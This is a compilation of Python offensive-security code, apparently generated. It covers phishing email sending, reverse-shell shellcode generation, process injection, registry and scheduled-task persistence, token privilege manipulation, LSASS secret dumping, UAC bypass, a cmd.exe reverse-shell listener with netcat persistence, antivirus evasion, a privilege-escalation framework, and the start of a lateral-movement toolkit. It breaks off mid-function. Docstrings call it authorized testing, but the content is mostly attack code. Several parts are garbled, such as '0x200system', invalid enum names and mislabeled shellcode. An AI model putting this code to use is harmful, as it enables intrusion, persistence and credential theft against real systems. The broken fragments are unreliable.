# Email Phishing Simulation
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import ssl

# For phishing email generation
from jinja2 import Template

class PhishingSimulator:
    """
    Ethical phishing simulation framework for security awareness training.
    """
    
    def __init__(self, smtp_server, port=465):
        self.smtp_server = smtp_server
        self.port = port
        self.sender = "security@company.com"
    
    def create_phishing_email(self, target, payload_url):
        """
        Generate a phishing email with embedded payload.
        """
        template = Template("""
        Subject: Urgent Security Alert Required
        
        Dear {{ target.name }},
        
        We've detected suspicious activity on your account. 
        Please verify your identity by clicking the link below:
        
        🔗 {{ payload_url }}
        
        Failure to verify will result in account suspension.
        
        Best regards,
        IT Security Department
        """)
        
        email_content = template.render(
            target={"name": target},
            payload_url=payload_url
        )
        
        msg = MIMEMultipart()
        msg['From'] = self.sender
        msg['To'] = target
        msg['Subject'] = "Urgent Security Alert Required"
        
        msg.attach(MIMEText(email_content, 'html'))
        
        return msg
    
    def send_email(self, msg, recipients):
        """
        Securely send phishing email (for authorized testing).
        """
        context = ssl.create_default_context()
        
        with smtplib.SMTP_SSL(self.smtp_server, self.port, context=context) as server:
            server.login(self.sender, 'securepassword')
            for recipient in recipients:
                server.sendmail(self.sender, recipient, msg.as_string())
                
        print(f"Sent phishing emails to {len(recipients)} recipients")

# Usage example
simulator = PhishingSimulator('smtp.company.com')
email = simulator.create_phishing_email("john.doe@example.com", "http://phishing-test:8000")
simulator.send_email(email, ["john.doe@example.com", "jane.smith@example.com"])

# Exploit Payload Generator
from impacket import smb, nmb, dcerpc
import struct
import hashlib

class ExploitGenerator:
    """
    Generate and manage exploit payloads for authorized testing.
    """
    
    def __init__(self):
        self.payloads = {
            'meterpreter': self.create_meterpreter,
            'reverse_shell': self.create_reverse_shell,
            'beacon': self.create_beacon_payload
        }
    
    def create_meterpreter(self, lhost, lport):
        """
        Generate Metasploit-style meterpreter payload.
        """
        # This is a simplified example - real payloads need more complexity
        payload = b""
        payload += b"\x31\xc0"  # XOR eax with itself (zero it)
        payload += b"\x50"      # push eax (null byte)
        payload += b"\x68"      # push string
        payload += struct.pack("<I", lhost)
        payload += b"\x68"      # push port
        payload += struct.pack("<I", lport)
        payload += b"\xff\xd5"  # call eax (execute shellcode)
        
        return payload
    
    def create_reverse_shell(self, lhost, lport):
        """
        Generate a simple reverse shell payload.
        """
        shellcode = b""
        shellcode += b"\x31\xc0"  # xor eax, eax
        shellcode += b"\x50"      # push eax
        shellcode += b"\x68"      # push IP address
        shellcode += struct.pack("<I", lhost)
        shellcode += b"\x68"      # push port
        shellcode += struct.pack("<I", lport)
        shellcode += b"\x66\x68"  # push word (2 bytes)
        shellcode += struct.pack("<H", 0x5C11)  # WSAStartup
        shellcode += b"\xff\xd5"  # call eax
        
        return shellcode
    
    def encode_payload(self, payload, method='base64'):
        """
        Encode payload for delivery.
        """
        if method == 'base64':
            import base64
            return base64.b64encode(payload)
        elif method == 'xor':
            key = b'secretkey'
            return self.xor_encode(payload, key)
        # Add more encoding methods

    def xor_encode(self, data, key):
        """XOR encode data with key."""
        return bytes([b ^ k for b, k in zip(data, key)])

# Usage example
exploit = ExploitGenerator()
payload = exploit.create_reverse_shell('192.168.1.100', 4444)
encoded = exploit.encode_payload(payload, 'base64')
print(f"Encoded Payload (Base64): {encoded}")

# Process Injection - Memory Corruption Example
import ctypes
import struct
from ctypes import wintypes

class ProcessInjection:
    """
    Memory-based process injection techniques for authorized testing.
    """
    
    def __init__(self):
        self.kernel32 = ctypes.WinDLL('kernel32', WinError=True)
        self.ntdll = ctypes.WinDLL('ntdll', WinError=True)
    
    def process_injection(self, target_process, shellcode):
        """
        Perform process injection into a target process.
        """
        # Step 1: Find target process handle
        snapshot = self.kernel32.CreateToolhelp32Snapshot(
            0x00000002 | 0x00000008,  # TH32CS_SNAPPROCESS | TH32CS_INCLUSIVE
            0
        )
        
        if not snapshot:
            raise ctypes.WinError(ctypes.get_last_error())
        
        # Step 2: Find target process
        pe32 = wintypes.PROCESSENTRY32()
        pe32.dwSize = ctypes.sizeof(pe32)
        
        if self.kernel32.Process32First(snapshot, ctypes.byref(pe32)):
            while True:
                if pe32.szExeFile == target_process:
                    break
                
                if self.kernel32.Process32Next(snapshot, ctypes.byref(pe32)):
                    continue
                
                break
        
        # Step 3: Open target process
        process_handle = self.kernel32.OpenProcess(
            0x0002 | 0x0010 | 0x0020 | 0x0040 | 0x0080 | 0x0100 | 0x0200 | 0x0400 |
            0x0800 | 0x1000 | 0x2000 | 0x4000 | 0x8000 | 0x10000 | 0x20000 | 0x40000 |
            0x80000 | 0x100000 | 0x200system,
            False,
            pe32.th32ProcessID
        )
        
        if not process_handle:
            raise ctypes.WinError(ctypes.get_last_error())
        
        # Step 4: Allocate memory in target process
        remote_memory = self.kernel32.VirtualAllocEx(
            process_handle,
            None,
            len(shellcode),
            0x1000 | 0x2000,  # MEM_COMMIT | MEM_RESERVE
            0x40,  # PAGE_EXECUTE_READWRITE
        )
        
        if not remote_memory:
            raise ctypes.WinError(ctypes.get_last_error())
        
        # Step 5: Write shellcode to target process
        written = ctypes.c_size_t(0)
        success = self.kernel32.WriteProcessMemory(
            process_handle,
            remote_memory,
            shellcode,
            len(shellcode),
            ctypes.byref(written)
        )
        
        if not success:
            raise ctypes.WinError(ctypes.get_last_error())
        
        # Step 6: Create remote thread to execute shellcode
        thread_id = ctypes.c_ulong(0)
        h_thread = self.kernel32.CreateRemoteThread(
            process_handle,
            None,
            0,
            remote_memory,
            None,
            0,
            ctypes.byref(thread_id)
        )
        
        if not h_thread:
            raise ctypes.WinError(ctypes.get_last_error())
        
        print(f"Successfully injected into {target_process} (PID: {pe32.th32ProcessID})")
        return True

# Usage example
injector = ProcessInjection()
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
injector.process_injection("notepad.exe", shellcode)

# Python-PowerShell Bridge
import subprocess
from subprocess import Popen, PIPE

class PowerShellExecutor:
    """
    Execute PowerShell commands from Python with output capture.
    """
    
    def __init__(self):
        self.executable = "powershell.exe"
    
    def execute(self, command, domain_admin=False):
        """
        Execute PowerShell command with error handling.
        """
        args = [self.executable, "-Command", command]
        
        if domain_admin:
            args = [self.executable, "-Command", "Start-Process", "-ArgumentList",
                    f"'{command}', '-Verb', 'RunAs'"]
        
        process = Popen(args, stdin=PIPE, stdout=PIPE, stderr=PIPE, text=True)
        stdout, stderr = process.communicate()
        
        result = {
            'command': command,
            'stdout': stdout,
            'stderr': stderr,
            'return_code': process.returncode,
            'succeeded': process.returncode == 0
        }
        
        return result
    
    def get_system_info(self):
        """Collect system information via PowerShell."""
        commands = [
            "Get-WmiObject Win32_ComputerSystem",
            "Get-WmiObject Win32_OperatingSystem",
            "Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled }",
            "Get-LocalUser",
            "Get-Service"
        ]
        
        all_output = {}
        for cmd in commands:
            output = self.execute(cmd)
            all_output[cmd] = output
        
        return all_output

# Usage example
executor = PowerShellExecutor()
result = executor.execute("whoami")
print(f"Execution result: {result}")

# Scheduled Task Creation
import win32com.client
import pythoncom
import os

class ScheduledTaskCreator:
    """
    Create and manage scheduled tasks for persistence.
    """
    
    def __init__(self):
        pythoncom.CoInitialize()
        self.scheduler = win32com.client.Dispatch("Schedule.Service")
        self.scheduler.Connect()
        self.root_folder = self.scheduler.GetFolder("\")
    
    def create_task(self, task_name, executable, trigger_type='daily', user=None):
        """
        Create a scheduled task.
        """
        if task_name in self.list_tasks():
            print(f"Task '{task_name}' already exists")
            return False
        
        task = self.root_folder.CreateTask(
            task_name,
            0x1F011C,  # TASK_CREATE_OR_UPDATE | TASK_FLAG_LOGON_GROUP | TASK_FLAG_NO_WAIT
            None,
            None,
            None,
            None,
            None
        )
        
        # Set principal (user context)
        principal = task.Principal
        principal.LogonType = 3  # LOGON_TYPE_INTERACTIVE_TOKEN if user is None
        if user:
            principal.UserId = user
        
        # Set trigger
        self._set_trigger(task, trigger_type)
        
        # Set action
        self._set_action(task, executable)
        
        # Register task
        self.root_folder.RegisterTaskDefinition(
            task_name,
            task,
            6,  # TASK_CREATE_OR_UPDATE
            None,
            None,
            None,
            None
        )
        
        print(f"Created task: {task_name}")
        return True
    
    def _set_trigger(self, task, trigger_type):
        triggers = task.Triggers
        triggers.DeleteAll()
        
        if trigger_type == 'daily':
            daily_trigger = triggers.Create(4)  # TASK_TRIGGER_DAILY
            daily_trigger.StartBoundary = (datetime.datetime.now() + 
                                          datetime.timedelta(minutes=5)).isoformat()
            daily_trigger.EndBoundary = (datetime.datetime.now() + 
                                         datetime.timedelta(days=365)).isoformat()
            daily_trigger.Repetition = triggers.Create(3)  # TASK_TRIGGER_REPETITION
            daily_trigger.Repetition.Interval = "PT1D"  # Every day
        elif trigger_type == 'atstartup':
            startup_trigger = triggers.Create(2)  # TASK_TRIGGER_AT_SYSTEM_STARTUP
            startup_trigger.StartBoundary = datetime.datetime.now().isoformat()
        # Add more trigger types
    
    def _set_action(self, task, executable):
        actions = task.Actions
        actions.DeleteAll()
        
        action = actions.Create(0)  # TASK_ACTION_EXEC
        action.ID = "Action1"
        action.Path = executable
        action.WorkingDirectory = os.path.dirname(executable)
    
    def list_tasks(self):
        """List all scheduled tasks."""
        task_names = []
        for task in self.root_folder.GetTasks(0):
            task_names.append(task.Name)
        return task_names
    
    def delete_task(self, task_name):
        """Delete a scheduled task."""
        if task_name in self.list_tasks():
            self.root_folder.DeleteTask(task_name, 0)
            print(f"Deleted task: {task_name}")
            return True
        return False

# Usage example
creator = ScheduledTaskCreator()
creator.create_task("MyPersistenceTask", "C:\\path\\to\\payload.exe", trigger_type='atstartup')

# Registry Persistence
import winreg

class RegistryPersistence:
    """
    Registry-based persistence mechanisms.
    """
    
    @staticmethod
    def run_key_persistence(payload_path, key_name="MyPersistence"):
        """
        Persist via HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
        """
        try:
            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 
                                  r"Software\Microsoft\Windows\CurrentVersion\Run", 
                                  0, winreg.KEY_ALL_ACCESS)
            
            # Check if already exists
            try:
                winreg.QueryValueEx(key, key_name)[0]
                print(f"{key_name} already exists in Run key")
                return False
            except FileNotFoundError:
                pass
            
            # Set new value
            winreg.SetValueEx(key, key_name, 0, winreg.REG_SZ, payload_path)
            winreg.CloseKey(key)
            print(f"Successfully added {key_name} to Run key")
            return True
        
        except Exception as e:
            print(f"Error modifying Run key: {e}")
            return False
    
    @staticmethod
    def image_load_key_persistence(payload_path, key_name="ImageLoad"):
        """
        Persist via HKLM\SYSTEM\CurrentControlSet\Services\eventlog\Security.
        """
        try:
            key_path = r"SYSTEM\CurrentControlSet\Services\Eventlog\Security"
            key_full = rf"{key_path}\{key_name}"
            
            key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path, 0, winreg.KEY_ALL_ACCESS)
            
            try:
                winreg.QueryValueEx(winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_full, 0, winreg.KEY_READ), 
                                    "EventMessageFile")[0]
                print(f"{key_name} already exists in ImageLoad key")
                return False
            except FileNotFoundError:
                pass
            
            # Create new key
            winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, key_full)
            
            # Set value
            key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_full, 0, winreg.KEY_ALL_ACCESS)
            winreg.SetValueEx(key, "EventMessageFile", 0, winreg.REG_SZ, payload_path)
            winreg.SetValueEx(key, "TypesSupported", 0, winreg.REG_DWORD, 0x00000001)
            winreg.CloseKey(key)
            
            print(f"Successfully added {key_name} to ImageLoad key")
            return True
        
        except Exception as e:
            print(f"Error modifying ImageLoad key: {e}")
            return False
    
    @staticmethod
    def powershell_key_persistence(payload_path, key_name="PowerShell"):
        """
        Persist via HKCU\Software\Classes\*\\shell\\{key_name}.
        """
        try:
            key_path = rf"Software\Classes\*\shell\{key_name}"
            
            # Create key
            winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)
            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_ALL_ACCESS)
            
            # Set command
            winreg.SetValueEx(key, None, 0, winreg.REG_SZ, payload_path)
            winreg.CloseKey(key)
            
            print(f"Successfully added {key_name} to PowerShell context menu")
            return True
        
        except Exception as e:
            print(f"Error modifying PowerShell key: {e}")
            return False

# Usage example
registry_persist = RegistryPersistence()
registry_persist.run_key_persistence("C:\\path\\to\\payload.exe", "MyPersistence")

# Token Manipulation - SeDebugPrivilege Example
import ctypes
from ctypes import wintypes

class TokenManipulator:
    """
    Manipulate process tokens for privilege escalation.
    """
    
    def __init__(self):
        self.kernel32 = ctypes.WinDLL("kernel32", WinError=True)
        self.advapi32 = ctypes.WinDLL("advapi32", WinError=True)
        self.ntdll = ctypes.WinDLL("ntdll", WinError=True)
        
        self.TOKEN_ADJUST_PRIVILEGES = 0x0020
        self.TOKEN_QUERY = 0x0008
        self.SE_DEBUG_NAME = "SeDebugPrivilege"
        self.SE_DEBUG_VALUE = self._lookup_privilege_value(self.SE_DEBUG_NAME)
    
    def _lookup_privilege_value(self, name):
        """Lookup privilege value from name."""
        buffer_size = wintypes.DWORD()
        self.advapi32.LookupPrivilegeValueW(None, name, None, ctypes.sizeof(buffer_size))
        
        privilege = wintypes.LUID()
        self.advapi32.LookupPrivilegeValueW(None, name, ctypes.byref(privilege), ctypes.sizeof(privilege))
        
        return privilege
    
    def enable_debug_privilege(self):
        """
        Enable SeDebugPrivilege to debug processes.
        """
        # Open current process token
        h_token = wintypes.HANDLE()
        self.kernel32.OpenProcessToken(
            self.kernel32.GetCurrentProcess(),
            self.TOKEN_ADJUST_PRIVILEGES | self.TOKEN_QUERY,
            ctypes.byref(h_token)
        )
        
        # Get token information
        token_length = wintypes.DWORD()
        self.advapi32.GetTokenInformation(
            h_token,
            1,  # TokenPrivileges
            None,
            0,
            ctypes.byref(token_length)
        )
        
        # Allocate buffer
        token_buffer = ctypes.create_string_buffer(token_length)
        self.advapi32.GetTokenInformation(
            h_token,
            1,
            token_buffer,
            token_length,
            ctypes.byref(token_length)
        )
        
        # Adjust privileges
        token_privileges = ctypes.cast(token_buffer, ctypes.POINTER(wintypes.TOKEN_PRIVILEGES))
        token_privileges.contents.PrivilegeCount += 1
        token_privileges.contents.Privileges[token_privileges.contents.PrivilegeCount - 1].Luid = self.SE_DEBUG_VALUE
        token_privileges.contents.Privileges[token_privileges.contents.PrivilegeCount - 1].Attributes = 0x00000002  # SE_PRIVILEGE_ENABLED
        
        self.advapi32.AdjustTokenPrivileges(
            h_token,
            wintypes.BOOLEAN(False),
            token_privileges,
            token_length,
            None,
            None
        )
        
        self.kernel32.CloseHandle(h_token)
        print("SeDebugPrivilege enabled")
        return True

# Usage example
token_manipulator = TokenManipulator()
token_manipulator.enable_debug_privilege()

# Service Exploitation
import win32serviceutil
import win32service
import win32event
import servicemanager
import socket

class ServiceExploit(win32serviceutil.ServiceFramework):
    _svc_name_ = "MyServiceExploit"
    _svc_display_name_ = "My Service Exploit"
    _svc_description_ = "Service for demonstrating exploitation techniques."

    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
        self.stop_event = False

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)
        self.stop_event = True

    def SvcDoRun(self):
        self.ReportServiceStatus(win32service.SERVICE_RUNNING)
        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,
                              servicemanager.PYS_SERVICE_STARTED,
                              (self._svc_name_, ''))
        self.main()

    def main(self):
        print("Service started")
        # Your exploitation code here
        self.dump_secrets()
        print("Service stopping")

    def dump_secrets(self):
        """Example: Dump secrets using LSASS."""
        import lsa
        lsa.dump_secrets()

if __name__ == '__main__':
    servicemanager.Initialize()
    servicemanager.PrepareToHostSingle(ServiceExploit)
    servicemanager.StartServiceCtrlDispatcher()

# UAC Bypass Techniques
import ctypes
import subprocess
import sys
import os

class UACBypass:
    """
    Collection of UAC bypass techniques.
    """
    
    @staticmethod
    def mshta_bypass():
        """
        Bypass UAC using MSHTA (Microsoft HTML Application Host).
        """
        try:
            payload = os.path.abspath(sys.argv[0])
            script = f"""
            var shellexec = new ActiveXObject("Shell.Explorer.2");
            shellexec.Navigate("javascript:var shell = new ActiveXObject('Shell.Application'); shell.ShellExecute('{payload}', '', '', '', 1);
            """
            
            with open("uac_bypass.hta", "w") as f:
                f.write("<hta:application id='hta' applicationname='UACBypass' icon='"+payload+"' >")
                f.write("<script>" + script + "</script>")
            
            subprocess.Popen(['mshta.exe', 'uac_bypass.hta'], shell=True)
            os.remove("uac_bypass.hta")
            return True
        
        except Exception as e:
            print(f"MSHTA bypass failed: {e}")
            return False
    
    @staticmethod
    def rundll32_bypass():
        """
        Bypass UAC using rundll32 with COM objects.
        """
        try:
            payload = os.path.abspath(sys.argv[0])
            com_class = "YourNamespace.YourClass"
            
            # This requires a registered COM object
            # This is a conceptual example
            ctypes.windll.kernel32.CoInitialize(None)
            com_obj = ctypes.windll.LoadLibrary(payload)
            
            # Call method that triggers UAC bypass
            com_obj.YourMethod()
            
            return True
        
        except Exception as e:
            print(f"Rundll32 bypass failed: {e}")
            return False
    
    @staticmethod
    def eventvwr_bypass():
        """
        Bypass UAC by launching eventvwr with elevated privileges.
        """
        try:
            # This requires modifying eventvwr.exe manifest
            # Conceptual example only
            subprocess.Popen(['eventvwr.exe', '/s', os.path.abspath(sys.argv[0])], shell=True)
            return True
        
        except Exception as e:
            print(f"Eventvwr bypass failed: {e}")
            return False

# Usage
if __name__ == "__main__":
    bypass = UACBypass()
    print("Attempting MSHTA-based UAC bypass...")
    bypass.mshta_bypass()

# Physical Security Exploits - Badge Cloning Simulation
import serial
import time
import getpass

class PhysicalSecurityExploit:
    """
    Simulates physical security exploits like badge cloning.
    """
    
    def __init__(self, port='COM3', baud_rate=9600):
        self.port = port
        self.baud_rate = baud_rate
        self.ser = serial.Serial(self.port, self.baud_rate, timeout=1)
    
    def capture_badge_signal(self, duration=60):
        """
        Capture RFID signals from a badge.
        """
        print(f"[+] Listening on {self.port} for RFID signals...")
        signals = []
        
        try:
            start_time = time.time()
            while time.time() - start_time < duration:
                if self.ser.in_waiting > 0:
                    signal = self.ser.read(self.ser.in_waiting).hex()
                    signals.append(signal)
                    print(f"[+] Captured signal: {signal}")
            
            return signals
        
        except Exception as e:
            print(f"[!] Error capturing signals: {e}")
            return []
    
    def analyze_signals(self, signals):
        """
        Analyze captured signals for patterns.
        """
        if not signals:
            return None
        
        print("[+] Analyzing signals...")
        unique_signals = set(signals)
        print(f"[+] Found {len(unique_signals)} unique signals")
        
        # Look for repeated patterns (every 3rd signal)
        pattern = []
        for i in range(0, len(signals), 3):
            if signals[i] == signals[i+1] == signals[i+2]:
                pattern.append(signals[i])
        
        if pattern:
            print(f"[+] Found potential pattern: {pattern}")
            return pattern[0]
        
        return None
    
    def clone_badge(self, signal, clone_path="cloned_badge.bin"):
        """
        Clone captured signal to file.
        """
        if signal:
            with open(clone_path, "w") as f:
                f.write(signal)
            print(f"[+] Badge signal cloned to {clone_path}")
            return True
        return False

# Usage
if __name__ == "__main__":
    physical_exploit = PhysicalSecurityExploit()
    signals = physical_exploit.capture_badge_signal(30)
    if signals:
        cloned_signal = physical_exploit.analyze_signals(signals)
        if cloned_signal:
            physical_exploit.clone_badge(cloned_signal)

# Network-Based Privilege Escalation
import socket
import threading
import subprocess
import os

class NetworkEscalation:
    """
    Network-based privilege escalation techniques.
    """
    
    def __init__(self, lhost="0.0.0.0", lport=4444):
        self.lhost = lhost
        self.lport = lport
        self.server = None
    
    def start_listener(self):
        """Start a reverse TCP listener."""
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server.bind((self.lhost, self.lport))
        self.server.listen(1)
        print(f"[+] Listening on {self.lhost}:{self.lport}")
        
        while True:
            client, addr = self.server.accept()
            print(f"[+] Connection from {addr}")
            self.upgrade_to_reverse_shell(client)
    
    def upgrade_to_reverse_shell(self, conn):
        """Upgrade connection to reverse shell."""
        # This is a simple implementation
        conn.send(b"Starting reverse shell...")
        
        # Spawn new process with elevated privileges
        shell = subprocess.Popen(
            ["cmd.exe"], 
            stdin=subprocess.PIPE, 
            stdout=conn,
            stderr=conn,
            cwd=os.getenv("TEMP")
        )
        
        # Clean up
        conn.close()
        shell.wait()
    
    def create_persistence(self):
        """Create network-based persistence."""
        # This is a simplified example
        persistence_code = f"""
        @echo off
        echo Starting persistent connection...
        start "" "C:\\Windows\\System32\\cmd.exe" /c "nc.exe -zv {self.lhost} {self.lport}"
        """
        
        with open("persistence.bat", "w") as f:
            f.write(persistence_code)
        
        print("[+] Persistence script created.")

# Usage
if __name__ == "__main__":
    network_exploit = NetworkEscalation()
    network_exploit.start_listener()
    network_exploit.create_persistence()

# Anti-Virus Evasion Techniques
import base64
import zlib
import marshal
import types
import random
import hashlib

class AVEvasion:
    """
    Anti-virus evasion techniques.
    """
    
    @staticmethod
    def encode_base64(data):
        """Base64 encoding."""
        return base64.b64encode(data).decode()
    
    @staticmethod
    def decode_base64(encoded):
        """Decode base64 data."""
        return base64.b64decode(encoded)
    
    @staticmethod
    def compress(data):
        """Compress data using zlib."""
        return zlib.compress(data)
    
    @staticmethod
    def decompress(compressed):
        """Decompress zlib data."""
        return zlib.decompress(compressed)
    
    @staticmethod
    def xor_encrypt(data, key=0xAA):
        """Simple XOR encryption."""
        return bytes([b ^ key for b in data])
    
    @staticmethod
    def xor_decrypt(encoded, key=0xAA):
        """Decrypt XOR-encoded data."""
        return xor_encrypt(encoded, key)
    
    @staticmethod
    def polymorphic_payload():
        """Generate polymorphic payload."""
        # This is a conceptual example
        payload = b"malicious_code_here"
        key = random.randint(1, 255)
        encrypted = xor_encrypt(payload, key)
        return encrypted
    
    @staticmethod
    def signature_evasion():
        """Modify file signature to evade detection."""
        # This is a simplified example
        with open("payload.exe", "rb") as f:
            data = f.read()
        
        # Calculate hash before modification
        original_hash = hashlib.sha256(data).hexdigest()
        print(f"[+] Original hash: {original_hash}")
        
        # Modify a non-critical section
        modified_data = data[:1024] + b"modified" + data[1032:]
        
        # Calculate hash after modification
        new_hash = hashlib.sha256(modified_data).hexdigest()
        print(f"[+] New hash: {new_hash}")
        
        with open("payload_modified.exe", "wb") as f:
            f.write(modified_data)
        
        return modified_data

# Usage
if __name__ == "__main__":
    evasion = AVEvasion()
    original_payload = b"malicious_code_here"
    
    print("[+] Encoding payload...")
    encoded = evasion.encode_base64(original_payload)
    print(f"[+] Encoded: {encoded}")
    
    print("[+] Compressing payload...")
    compressed = evasion.compress(original_payload)
    print(f"[+] Compressed size: {len(compressed)}")
    
    print("[+] XOR encrypting payload...")
    encrypted = evasion.xor_encrypt(original_payload)
    print(f"[+] Encrypted: {encrypted.hex()}")
    
    print("[+] Generating polymorphic payload...")
    polymorphic = evasion.polymorphic_payload()
    print(f"[+] Polymorphic payload: {polymorphic.hex()}")
    
    print("[+] Performing signature evasion...")
    modified_payload = evasion.signature_evasion()

# Privilege Escalation Framework
import json
import importlib.util
import os
import sys
import subprocess

class PESession:
    """
    Main privilege escalation session.
    """
    
    def __init__(self):
        self.escalation_methods = self.load_methods()
        self.vulnerability_database = self.load_vulnerabilities()
        self.target_system = self.analyze_target()
    
    def load_methods(self):
        """Load all available escalation methods."""
        methods = {
            "uac_bypass": UACBypass(),
            "kernel_exploit": KernelExploit(),
            "network": NetworkEscalation(),
            "physical": PhysicalSecurityExploit(),
            "antivirus_evasion": AVEvasion(),
        }
        return methods
    
    def load_vulnerabilities(self):
        """Load known vulnerabilities database."""
        try:
            with open("vulnerabilities.json", "r") as f:
                return json.load(f)
        except:
            return {
                "cve_database": [],
                "kernel_mode_drivers": [],
                "unattended_access": []
            }
    
    def analyze_target(self):
        """Analyze target system for escalation opportunities."""
        analysis = {
            "os_version": platform.version(),
            "uac_status": self.check_uac(),
            "patch_level": self.get_hotfixes(),
            "kernel_version": self.get_kernel_version(),
            "physical_access": False,
            "network_access": True
        }
        return analysis
    
    def check_uac(self):
        """Check UAC status."""
        try:
            import winreg as reg
            key = reg.OpenKey(reg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System")
            value, _ = reg.QueryValueEx(key, "EnableLUA")
            return value == 1
        except:
            return False
    
    def get_hotfixes(self):
        """Get installed hotfixes."""
        try:
            result = subprocess.check_output(["wmic", "qfe", "list", "brief"], shell=True)
            return result.decode()
        except:
            return ""
    
    def get_kernel_version(self):
        """Get kernel version."""
        try:
            result = subprocess.check_output(["ver"], shell=True)
            return result.decode()
        except:
            return ""

class PEFramework:
    """
    Privilege escalation framework.
    """
    
    def __init__(self, session: PESession):
        self.session = session
    
    def scan_for_exploits(self):
        """Scan target for applicable exploits."""
        print("[=== PRIVILEGE ESCALATION FRAMEWORK ===]")
        print("[*] Scanning target system...")
        
        vulnerabilities = []
        
        # Check for known CVEs
        for cve in self.session.vulnerability_database["cve_database"]:
            if self.is_vulnerable_to(cve):
                vulnerabilities.append(cve)
        
        # Check for UAC bypass opportunities
        if self.session.target_system["uac_status"]:
            vulnerabilities.append({
                "type": "uac_bypass",
                "description": "UAC is enabled - attempt bypass",
                "severity": "high"
            })
        
        # Check for kernel mode driver vulnerabilities
        for driver in self.session.vulnerability_database["kernel_mode_drivers"]:
            if self.is_driver_vulnerable(driver):
                vulnerabilities.append(driver)
        
        return vulnerabilities
    
    def is_vulnerable_to(self, cve):
        """Check if system is vulnerable to specific CVE."""
        # This is a simplified check
        return cve["affected_versions"] and self.session.target_system["os_version"] in cve["affected_versions"]
    
    def is_driver_vulnerable(self, driver):
        """Check if driver is vulnerable."""
        # This is a conceptual implementation
        return False
    
    def execute_exploit(self, exploit_type, parameters=None):
        """Execute selected privilege escalation exploit."""
        if exploit_type == "uac_bypass":
            return self.session.methods["uac_bypass"].mshta_bypass()
        elif exploit_type == "kernel_exploit":
            return self.session.methods["kernel_exploit"].exploit_cve_2023_340system()
        elif exploit_type == "network":
            return self.session.methods["network"].start_listener()
        elif exploit_type == "antivirus_evasion":
            return self.session.methods["antivirus_evasion"].polymorphic_payload()
        else:
            raise ValueError(f"Unknown exploit type: {exploit_type}")

# Main execution
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python pe_framework.py [target_ip]")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    pe_session = PESession()
    pe_framework = PEFramework(pe_session)
    
    print("[*] Performing comprehensive privilege escalation...")
    vulnerabilities = pe_framework.scan_for_exploits()
    
    if vulnerabilities:
        print("[!] Found potential escalation paths:")
        for i, vuln in enumerate(vulnerabilities, 1):
            print(f"{i}. {vuln['description']} [{vuln['type']}]")
        
        choice = input("[?] Select exploit to execute (1-{}): ".format(len(vulnerabilities)))
        selected = vulnerabilities[int(choice)-1]
        
        print("[+] Attempting to execute:", selected["description"])
        success = pe_framework.execute_exploit(selected["type"])
        
        if success:
            print("[SUCCESS] Privilege escalation successful!")
        else:
            print("[FAILURE] Exploit attempt failed.")
    else:
        print("[INFO] No exploitable vulnerabilities found.")

# laterial_movement.py
import paramiko
import ldap3
from enum import Enum, auto
import threading
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Callable, Any
import json
import time
import socket
import ssl
from concurrent.futures import ThreadPoolExecutor, as_completed
import subprocess
import getpass

class MovementType(Enum):
    """Types of lateral movement techniques"""
    SSH_BRUTE_FORCE = auto()
    LDAP_SPRAY = auto()
    NTLM_RELAY = auto()
    Kerberoasting = auto()
    Pass-the-Hash = auto()
    Pass-the-Ticket = auto()
    DNS_TXT = auto()
    SMB_LOGIN = auto()
    RDP_BRUTE = auto()
    Email_Spray = auto()

class CredentialType(Enum):
    """Credential types for movement"""
    USERNAME_PASSWORD = auto()
    HASH = auto()
    TICKET = auto()
    CERTIFICATE = auto()
    API_KEY = auto()

@dataclass
class TargetSystem:
    """Representation of a target system for lateral movement"""
    hostname: str
    ip_address: str
    port: int
    protocol: str
    domain: Optional[str] = None
    operating_system: Optional[str] = None
    os_version: Optional[str] = None
    is_vulnerable: bool = False
    success_count: int = 0
    attempt_count: int = 0
    
    def __hash__(self):
        return hash(self.ip_address)
    
    def __eq__(self, other):
        if isinstance(other, TargetSystem):
            return self.ip_address == other.ip_address
        return False

@dataclass
class Credential:
    """Credential structure for movement"""
    username: str
    password: Optional[str] = None
    hash: Optional[str] = None
    domain: Optional[str] = None
    lm_hash: Optional[str] = None
    nt_hash: Optional[str] = None
    aes_key: Optional[str] = None
    ticket: Optional[str] = None
    type: CredentialType = CredentialType.USERNAME_PASSWORD
    
    def to_dict(self) -> Dict[str, Any]:
        return {
            'username': self.username,
            'password': self.password,
            'hash': self.hash,
            'domain': self.domain,
            'lm_hash': self.lm_hash,
            'nt_hash': self.nt_hash,
            'aes_key': self.aes_key,
            'ticket': self.ticket,
            'type': self.type.name
        }

class LateralMovementFramework:
    """
    Framework for demonstrating and defending against lateral movement techniques.
    Supports multiple protocols and movement types with detailed logging.
    """
    
    def __init__(self, verbose: bool = False):
        self.verbose = verbose
        self.results: Dict[str, List[Dict]] = {
            'successful': [],
            'failed': [],
            'skipped': []
        }
        self.threat_intelligence = ThreatIntelService()
        self.lock = threading.Lock()
        
    def log_result(self, target: TargetSystem, result: Dict[str, Any]):
        """Log movement attempt result"""
        with self.lock:
            self.results['successful' if result['success'] else 'failed'].append({
                **result,
                'target': target.__dict__,
                'timestamp': time.time()
            })
    
    def ssh_brute_force(
        self,
        target: TargetSystem,
